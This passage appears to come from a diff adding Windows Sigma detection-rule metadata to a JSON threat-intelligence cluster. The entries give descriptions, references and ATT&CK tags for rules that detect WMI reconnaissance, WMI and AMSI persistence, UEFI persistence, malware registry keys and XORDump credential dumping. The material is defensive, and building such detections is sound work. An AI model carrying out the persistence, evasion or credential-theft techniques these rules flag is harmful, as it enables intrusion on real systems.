"https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_group_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/12", + "filename": "proc_creation_win_wmic_group_recon.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wmic known recon method to look for installed hotfixes, often used by pentest and attackers enum scripts", + "uuid": "dfd2fcb7-8bd5-4daa-b132-5adb61d6ad45", + "value": "WMIC Hotfix Recon", + "meta": { + "refs": [ + "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", + "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_hotfix_enum.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_wmic_hotfix_enum.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary might use WMI to list Processes running on the compromised host or list installed Software hotfix and patches.", + "uuid": "221b251a-357a-49a9-920a-271802777cc0", + "value": "Suspicious WMI Reconnaissance", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_reconnaissance.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_wmic_reconnaissance.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary might use WMI to execute commands on a remote system", + "uuid": "e42af9df-d90b-4306-b7fb-05c863847ebd", + "value": "WMI Remote Command Execution", + "meta": { + "refs": [ + "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_command.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/03/13", + "filename": "proc_creation_win_wmic_remote_command.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary might use WMI to check if a certain Remote Service is running on a remote device.\nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the provided remote host is unreachable\n", + "uuid": "09af397b-c5eb-4811-b2bb-08b3de464ebf", + "value": "WMI Reconnaissance List Remote Services", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remote_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_wmic_remote_service.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Uninstall an application with wmic", + "uuid": "b53317a0-8acf-4fd1-8de8-a5401e776b96", + "value": "WMI Uninstall An Application", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-10---application-uninstall-using-wmic", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_remove_application.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/01/28", + "filename": "proc_creation_win_wmic_remove_application.yml", + "author": "frac113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of wmic to start or stop a service", + "uuid": "0b7163dc-7eee-4960-af17-c0cd517f92da", + "value": "WMIC Service Start/Stop", + "meta": { + "refs": [ + "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_wmic_service.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wmic known recon method to look for unquoted service paths, often used by pentest and attackers enum scripts", + "uuid": "68bcd73b-37ef-49cb-95fc-edc809730be6", + "value": "WMIC Unquoted Services Path Lookup", + "meta": { + "refs": [ + "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py", + "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1", + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_unquoted_service_search.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_win_wmic_unquoted_service_search.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wmiprvse spawning processes", + "uuid": "d21374ff-f574-44a7-9998-4a8c8bf33d7d", + "value": "Wmiprvse Spawning Process", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190810201010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawning_process.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2019/08/15", + "filename": "proc_creation_win_wmiprvse_spawning_process.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a WMI backdoor in Exchange Transport Agents via WMI event filters", + "uuid": "797011dc-44f4-4e6f-9f10-a8ceefbe566b", + "value": "WMI Backdoor Exchange Transport Agent", + "meta": { + "refs": [ + "https://twitter.com/cglyer/status/1182389676876980224", + "https://twitter.com/cglyer/status/1182391019633029120", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": "2019/10/11", + "filename": "proc_creation_win_wmi_backdoor_exchange_transport_agent.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMI script event consumers", + "uuid": "ec1d5e28-8f3b-4188-a6f8-6e8df81dc28e", + "value": "WMI Persistence - Script Event Consumer", + "meta": { + "refs": [ + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_persistence_script_event_consumer.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.003" + ], + "creation_date": "2018/03/07", + "filename": "proc_creation_win_wmi_persistence_script_event_consumer.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Legitimate event consumers", + "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMI spawning a PowerShell process", + "uuid": "692f0bec-83ba-4d04-af7e-e884a96059b6", + "value": "WMI Spawning Windows PowerShell", + "meta": { + "refs": [ + "https://any.run/report/68bc255f9b0db6a0d30a8f2dadfbee3256acfe12497bf93943bc1eab0735e45e/a2385d6f-34f7-403c-90d3-b1f9d2a90a5e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_spwns_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1059.001" + ], + "creation_date": "2019/04/03", + "filename": "proc_creation_win_wmi_spwns_powershell.yml", + "author": "Markus Neis / @Karneades", + "level": "high", + "falsepositive": [ + "AppvClient", + "CCM" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects invocation of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.", + "uuid": "419dbf2b-8a9b-4bea-bf99-7544b050ec8d", + "value": "Microsoft Workflow Compiler", + "meta": { + "refs": [ + "https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_workflow_compiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1127", + "attack.t1218" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_workflow_compiler.yml", + "author": "Nik Seetharaman, frack113", + "level": "high", + "falsepositive": [ + "Legitimate MWC use (unlikely in modern enterprise environments)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of the binary \"wpbbin\" which is used as part of the UEFI based persistence method described in the reference section", + "uuid": "4abc0ec4-db5a-412f-9632-26659cddf145", + "value": "UEFI Persistence Via Wpbbin - ProcessCreation", + "meta": { + "refs": [ + "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", + "https://persistence-info.github.io/Data/wpbbin.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wpbbin_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1542.001" + ], + "creation_date": "2022/07/18", + "filename": "proc_creation_win_wpbbin_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Looks for changes to registry to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.", + "uuid": "75f7a0e2-7154-4c4d-9eae-5cdb4e0a5c13", + "value": "Write Protect For Storage Disabled", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_write_protect_for_storage_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2021/06/11", + "filename": "proc_creation_win_write_protect_for_storage_disabled.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the presence of the keywords \"Wscript\", \"Shell\" and \"Run\" in the command, which could indicate a suspicious activity", + "uuid": "2c28c248-7f50-417a-9186-a85b223010ee", + "value": "Wscript Shell Run In CommandLine", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_shell_cli.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/08/31", + "filename": "proc_creation_win_wscript_shell_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare legitimate inline scripting by some administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument which is not longer supported. This could indicate an attacker using an old technique", + "uuid": "59b39960-5f9d-4a49-9cef-1e4d2c1d0cb9", + "value": "Wusa Extracting Cab Files", + "meta": { + "refs": [ + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cab_extraction.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/04", + "filename": "proc_creation_win_wusa_susp_cab_extraction.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "The \"extract\" flag still works on older 'wusa.exe' versions, which could be a legitimate use (monitor the path of the cab being extracted)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"wusa.exe\" (Windows Update Standalone Installer) utility to extract cab using the \"/extract\" argument from suspicious paths", + "uuid": "c74c0390-3e20-41fd-a69a-128f0275a5ea", + "value": "Wusa Extracting Cab Files From Suspicious Paths", + "meta": { + "refs": [ + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://www.echotrail.io/insights/search/wusa.exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/05", + "filename": "proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of XORDump process memory dumping utility", + "uuid": "66e563f9-1cbd-4a22-a957-d8b7c0f44372", + "value": "XORDump Use", + "meta": { + "refs": [ + "https://github.com/audibleblink/xordump", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xordump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/01/28", + "filename": "proc_creation_win_xordump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Another tool that uses the command line switches of XORdump" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. Rule detects when adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.", + "uuid": "05c36dd6-79d6-4a9a-97da-3db20298ab2d", + "value": "XSL Script Processing", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xsl_script_processing.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1220" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_xsl_script_processing.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.", + "Msxsl.exe is not installed by default, so unlikely.", + "Static format arguments - https://petri.com/command-line-wmi-part-3" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Raw disk access using illegitimate tools, possible defence evasion", + "uuid": "db809f10-56ce-4420-8c86-d6a7d793c79c", + "value": "Raw Disk Access Using Illegitimate Tools", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/raw_access_thread/raw_access_thread_disk_access_using_illegitimate_tools.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1006" + ], + "creation_date": "2019/10/22", + "filename": "raw_access_thread_disk_access_using_illegitimate_tools.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate Administrator using tool for raw access or ongoing forensic investigation" + ], + "logsource.category": "raw_access_thread", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker registers a new AMSI provider in order to achieve persistence", + "uuid": "33efc23c-6ea2-4503-8cfe-bdf82ce8f705", + "value": "Persistence Via New AMSI Providers", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/amsi.html", + "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_amsi_providers_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_add_amsi_providers_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate security products adding their own AMSI providers" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of UserInitMprLogonScript persistence method", + "uuid": "9ace0707-b560-49b8-b6ca-5148b42f39fb", + "value": "Logon Scripts Creation in UserInitMprLogonScript Registry", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1037/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.001/T1037.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_logon_scripts_userinitmprlogonscript_reg.yml" + ], + "tags": [ + "attack.t1037.001", + "attack.persistence", + "attack.lateral_movement" + ], + "creation_date": "2019/01/12", + "filename": "registry_add_logon_scripts_userinitmprlogonscript_reg.yml", + "author": "Tom Ueltschi (@c_APT_ure)", + "level": "high", + "falsepositive": [ + "Exclude legitimate logon scripts" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to detect registry events for common NetWire key HKCU\\Software\\NetWire", + "uuid": "1d218616-71b0-4c40-855b-9dbe75510f7f", + "value": "NetWire RAT Registry Key", + "meta": { + "refs": [ + "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing", + "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/", + "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", + "https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_netwire.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2021/10/07", + "filename": "registry_add_mal_netwire.yml", + "author": "Christopher Peacock", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects new registry key created by Ursnif malware.", + "uuid": "21f17060-b282-4249-ade0-589ea3591558", + "value": "Ursnif", + "meta": { + "refs": [ + "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_ursnif.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112" + ], + "creation_date": "2019/02/13", + "filename": "registry_add_mal_ursnif.yml", + "author": "megan201296", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects COM object hijacking via TreatAs subkey", + "uuid": "9b0f8a61-91b2-464f-aceb-0527e0a45020", + "value": "Windows Registry Persistence COM Key Linking", + "meta": { + "refs": [ + "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_key_linking.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2019/10/23", + "filename": "registry_add_persistence_key_linking.yml", + "author": "Kutepov Anton, oscd.community", + "level": "medium", + "falsepositive": [ + "Maybe some system utilities in rare cases use linking keys for backward compatibility" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects the of the \"accepteula\" key related to sysinternals tools being created from non sysinternals tools", + "uuid": "f50f3c09-557d-492d-81db-9064a8d4e211", + "value": "Usage of Renamed Sysinternals Tools", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_renamed_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2022/08/24", + "filename": "registry_add_renamed_sysinternals_eula_accepted.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of Suspicious Sysinternals Tools such as PsExec, Procdump...etc via the \"accepteula\" key being added to Registry", + "uuid": "c7da8edc-49ae-45a2-9e61-9fd860e4e73d", + "value": "Usage of Suspicious Sysinternals Tools", + "meta": { + "refs": [ + "https://twitter.com/Moti_B/status/1008587936735035392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_susp_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2022/08/24", + "filename": "registry_add_susp_sysinternals_eula_accepted.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of SysInternals tools" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of Sysinternals Tools due to accepteula key being added to Registry", + "uuid": "25ffa65d-76d8-4da5-a832-3f2b0136e133", + "value": "Usage of Sysinternals Tools", + "meta": { + "refs": [ + "https://twitter.com/Moti_B/status/1008587936735035392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2017/08/28", + "filename": "registry_add_sysinternals_eula_accepted.yml", + "author": "Markus Neis", + "level": "low", + "falsepositive": [ + "Legitimate use of SysInternals tools", + "Programs that use the same Registry Key" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "A General detection to trigger for the creation or modification of .*\\Software\\Sysinternals\\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool.", + "uuid": "9841b233-8df8-4ad7-9133-b0b4402a9014", + "value": "Sysinternals SDelete Registry Keys", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/9", + "https://threathunterplaybook.com/evals/apt29/detections/4.B.2_59A9AC92-124D-4C4B-A6BF-3121C98677C3.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_sdelete_registry_keys.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2020/05/02", + "filename": "registry_add_sysinternals_sdelete_registry_keys.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence.\nThe disk cleanup manager is part of the operating system. It displays the dialog box [\u2026]\nThe user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI.\nAlthough Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications.\nInstead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler.\nAny developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.\n", + "uuid": "d4f4e0be-cf12-439f-9e25-4e2cdcf7df5a", + "value": "Persistence Via Disk Cleanup Handler - NewEntry", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/diskcleanuphandler.html", + "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_set_disk_cleanup_handler_new_entry_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_disk_cleanup_handler_new_entry_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate new entry added by windows" + ], + "logsource.category": "registry_add", + "logsource.product": "windows" + } + }, + { + "description": "Detects the removal of folders from the \"ProtectedFolders\" list of of exploit guard. Which could indicate an attacker trying to launch an encryption process", + "uuid": "272e55a4-9e6b-4211-acb6-78f51f0b1b40", + "value": "Removal Of Folder From ProtectedFolders In Exploit Guard", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_exploit_guard_protected_folders.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/05", + "filename": "registry_delete_exploit_guard_protected_folders.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate administrators removing applications (should always be monitored)" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects the deletion of registry keys containing the MSTSC connection history", + "uuid": "07bdd2f5-9c58-4f38-aec8-e101bb79ef8d", + "value": "Terminal Server Client Connection History Cleared", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer", + "http://woshub.com/how-to-clear-rdp-connections-history/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_mstsc_history_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1112" + ], + "creation_date": "2021/10/19", + "filename": "registry_delete_mstsc_history_cleared.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "Remove the AMSI Provider registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection", + "uuid": "41d1058a-aea7-4952-9293-29eaaf516465", + "value": "Removal Of Amsi Provider Reg Key", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://seclists.org/fulldisclosure/2020/Mar/45", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/06/07", + "filename": "registry_delete_removal_amsi_registry_key.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "A General detection to trigger for processes removing .*\\shell\\open\\command registry keys. Registry keys that might have been used for COM hijacking activities.", + "uuid": "96f697b0-b499-4e5d-9908-a67bec11cdb6", + "value": "Removal of Potential COM Hijacking Registry Keys", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/7", + "https://threathunterplaybook.com/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.html", + "https://docs.microsoft.com/en-us/windows/win32/shell/launch", + "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", + "https://docs.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/05/02", + "filename": "registry_delete_removal_com_hijacking_registry_key.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Legitimate software (un)installations are known to cause some false positives. Please add them as a filter when encountered" + ], + "logsource.category": "registry_delete", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the \"index\" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as \"schtasks /query\"", + "uuid": "526cc8bc-1cdc-48ad-8b26-f19bff969cec", + "value": "Removal Of Index Value to Hide Schedule Task", + "meta": { + "refs": [ + "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", + 